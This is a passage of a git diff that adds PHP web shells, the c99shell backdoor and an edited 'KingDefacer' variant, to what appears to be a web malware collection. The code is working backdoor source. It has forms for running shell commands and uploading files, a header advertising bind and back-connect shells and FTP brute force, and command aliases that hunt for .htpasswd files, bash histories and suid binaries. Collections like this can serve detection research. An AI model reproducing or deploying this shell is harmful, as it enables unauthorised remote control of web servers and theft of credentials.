+"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>www.xxx.org<br>xxx<br></b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?> +</form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Edited By</b></u></a> KingDefacer | <a href="http://www.alturks.com"><font color="#FF0000">KingDefacer</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); exit; ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99_2.txt b/web-malware-collection-master/Backdoors/PHP/c99_2.txt new file mode 100755 index 0000000..dc6d688 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99_2.txt @@ -0,0 +1,3069 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 pre-release build #13 +* Freeware license. +* © CCTeaM. +* c99shell - ôàéë-ìåíåäæåð ÷åðåç www-áðîóçåð, "çàòî÷åíûé" äëÿ âçëîìà. +* Âû ìîæåòå áåñïëàòíî ñêà÷àòü ïîñëåäíþþ âåðñèþ íà äîìàøíåé ñòðàíè÷êå ïðîäóêòà: + http://ccteam.ru/releases/c99shell +* +* WEB: http://ccteam.ru +* ICQ UIN #: 656555 +* +* Îñîáåííîñòè: +* + óïðàâëåíèå ëîêàëüíûìè è óäàëåííûìè (ftp, samba) ôàéëàìè/ïàïêàìè, ñîðòèðîâêà +* çàêà÷èâàíèå ñêà÷èâàíèå ôàéëîâ è ïàïîê +* (ïðåäâîðèòåëüíî óïàêîâûâàåòñÿ/ðàñïàêîâûâàåòñÿ ÷åðåç tar) +* ïðîäâèíóòûé ïîèñê (âîçìîæåí âíóòðè ôàéëîâ) +* modify-time è access-time ó ôàéëîâ íå ìåíÿþòñÿ ïðè ðåäàêòèðîâàíèè (äëÿ îòêë. ñì $filestealth) +* + âûïîëíåíèå ïðîèçâîëüíîãî PHP-êîäà +* + êîäèðîâùèê äàííûõ ÷åðåç md5, unix-md5, sha1, crc32, base64 +* + áûñòðûé ëîêàëüíûé àíàëèç áåçîïàñíîñòè ÎÑ +* + áûñòðîå ftp-ñêàíèðîâàíèå íà ñâÿçêè login;login èç /etc/passwd (îáû÷íî äàåò äîñòóï ê 1/100 àêêàóíòîâ) +* ïîñòðàíè÷íûé âûâîä, ñîðòèðîâêà, ãðóïïîâûå îïåðàöèè íàä ÁÄ/òàáëèöàìè, óïðàâëåíèå ïðîöåññàìè SQL) +* + ñêðèïò "ëþáèò" include: àâòîìàòè÷åñêè èùåò ïåðåìåííûå ñ äåñêðèïòîðàìè è âñòàâëÿåò èõ â ññûëêè (îïöèàëüíî) + òàêæå ìîæíî èçìåíèòü $surl (áàçîâàÿ ññûëêà) êàê ÷åðåç êîíôèãóðàöèþ (ïðèíóäèòåëüíî) òàê è ÷åðåç cookie "c99sh_surl", + èäåò àâòî-çàïèñü çíà÷åíèÿ $set_surl â cookie "set_surl" +* + âîçìîæíîñòü "çàáèíäèòü" /bin/bash íà îïðåäåëåííûé ïîðò ñ ïðîèçâîëüíûì ïàðîëåì, +* èëè ñäåëàòü back connect (ïðîèçâîäèòñÿ òåñòèðîâàíèå ñîåäåíåíèÿ, è âûâîäÿòñÿ ïàðàìåòðû äëÿ çàïóñêà NetCat). +* + âîçìîæíîñòü áûñòðîãî ñàìî-óäàëåíèÿ ñêðèïòà +* + àâòîìàòèçèðîâàíàÿ îòïðàâêà ñîîáùåíèé î íåäîðàáîòêàõ è ïîæåëàíèÿõ àâòîðó (÷åðåç mail()) +* +* Ïðèâåäåí äàëåêî íå ïîëíûé ñïèñîê âîçìîæíîñòåé. +* +* Îæèäàåìûå èçìåíåíèÿ: +* ~ Ðàçâèòèå sql-ìåíåäæåðà +* ~ Äîáàâëåíèå íåäîñòàþùèõ ðàñøèðåíèé ôàéëîâ +* +* ~-~ Ïèøèòå îáî âñåõ íàéäåíûõ íåäîðàáîòêàõ, æåëàåìûõ èçìåíåíèÿõ è äîðàáîòêàõ (äàæå î ñàìûõ íåçíà÷èòåëüíûõ!) + â ICQ UIN #656555 ëèáî ÷åðåç ðàçäåë "feedback", áóäóò ðàññìîòðåíû âñå ïðåäëîæåíèÿ è ïîæåëàíèÿ. +* +* Last modify: 29.07.2005 +* +* © Captain Crunch Security TeaM. Coded by tristram +* +****************************************************************************************************** +*/ +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #13"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = true; //Encode with gzip? + +$updatenow = false; //If true, update now (this variable will be false) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = true; //if true, don't change modify- and access-time + +$donated_html = "<center><b>Owned by hacker</b></center>"; + /* If you publish free shell and you wish + add link to your site or any other information, + put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = true; //If true then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if 